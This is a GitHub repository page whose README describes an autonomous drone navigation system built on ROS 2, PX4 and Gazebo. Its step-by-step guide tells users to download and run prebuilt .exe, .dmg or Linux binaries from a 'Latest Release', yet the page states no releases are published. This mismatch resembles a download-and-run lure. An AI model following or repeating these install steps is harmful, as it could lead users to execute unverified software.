Skip to content

๐Ÿ›ธ Navigate urban environments with this autonomous UAV system using real-time occupancy grid mapping and dynamic obstacle avoidance for safe and efficient flights.

Notifications You must be signed in to change notification settings

hayatPMT/Autonomous-UAV-Navigation-System

Folders and files

NameName
Last commit message
Last commit date

Latest commit

ย 

History

55 Commits
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation

๐Ÿš Autonomous-UAV-Navigation-System - Fly Your Drone with Confidence

๐Ÿ“ฅ Download Now

Download Autonomous UAV Navigation System

๐Ÿ“– Description

The Autonomous UAV Navigation System lets you navigate drones effortlessly. This system includes real-time 2.5D occupancy-grid mapping, A* global path planning, and the merging of depth and LiDAR sensor data. It helps avoid obstacles in complex urban areas. This software works well with ROS 2, PX4 Offboard control, and Gazebo simulation for thorough testing.

๐Ÿš€ Getting Started

You can get started in a few simple steps. Follow this guide to download and run the software.

  1. Check Your Setup
    To use the Autonomous UAV Navigation System, ensure your computer meets these requirements:

    • Operating System: Windows 10 or later, macOS 10.14 or later, or a recent Linux distribution.
    • RAM: At least 8 GB.
    • CPU: Multi-core processor recommended.
    • Storage: Minimum of 1 GB of free space.
    • Internet connection for downloading necessary files.
  2. Download the Application
    Visit this page to download: Download Page. Here, you will find the latest release of the application.

  3. Choose the Right Release
    On the Releases page, you will see a list of available versions. Click on the one that says "Latest Release." You will find a list of assets related to this release.

  4. Download the File
    Look for the file that matches your operating system. For example, if you are using Windows, find a file ending in .exe. Click on it to start the download.

  5. Install the Application
    Once the download finishes, locate the file in your downloads folder.

    • For Windows: Double-click the .exe file and follow the on-screen instructions to install.
    • For macOS: Open the .dmg file, drag the application into your Applications folder.
    • For Linux: You may need to open a terminal and run chmod +x filename where filename is your downloaded file, then execute it with ./filename.
  6. Run the Application
    After installation, find the application on your computer:

    • Windows: Search for "Autonomous UAV Navigation System" in your Start Menu.
    • macOS: Locate it in the Applications folder.
    • Linux: Run it from the terminal or find it in your applications menu.
  7. Connect Your Drone
    Ensure your drone is ready for connection. Follow the drone's user manual to make sure it is set up correctly.

  8. Start Navigation
    Open the Autonomous UAV Navigation System. Follow the prompts on-screen to configure settings for your drone.

โš™๏ธ Features

  • Real-Time Mapping: Generate and update a 2.5D occupancy grid map while flying.
  • Path Planning: Use the A* algorithm for efficient flight paths.
  • Obstacle Avoidance: Dynamic fusion of depth and LiDAR data to navigate around objects.
  • ROS 2 Integration: Full compatibility with ROS 2 for advanced users.
  • Simulation: Test your setups in Gazebo for safe pre-flight checks.

๐Ÿš€ Usage

The application is designed to be user-friendly. After you connect your drone, you'll mainly deal with three key areas:

  • Mapping: Start your flight and watch the map build in real-time.
  • Planning: Input your desired goal, and the system calculates the best path.
  • Monitoring: Keep an eye on the droneโ€™s data, such as battery status and distance to obstacles.

๐Ÿ”ง Troubleshooting

  • Cannot Connect to Drone: Ensure both your computer and drone are on the same network. Check that your drone is powered on.
  • Application Crashes: Make sure your computer meets the requirements. Check for updates or re-download the software.
  • Mapping Issues: Confirm the sensors are functioning correctly. Restart the application and try again.

๐ŸŽฏ Topics

This project covers various topics to assist users in understanding its capabilities:

  • A* algorithm
  • Autonomous drones
  • Obstacle avoidance
  • Depth camera integration
  • Sensor fusion techniques
  • Robotics and UAV technology

๐Ÿ“ž Support

For assistance or questions:

Feel free to reach out or explore the resources provided. Your autonomous drone navigation adventure starts here!

About

๐Ÿ›ธ Navigate urban environments with this autonomous UAV system using real-time occupancy grid mapping and dynamic obstacle avoidance for safe and efficient flights.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages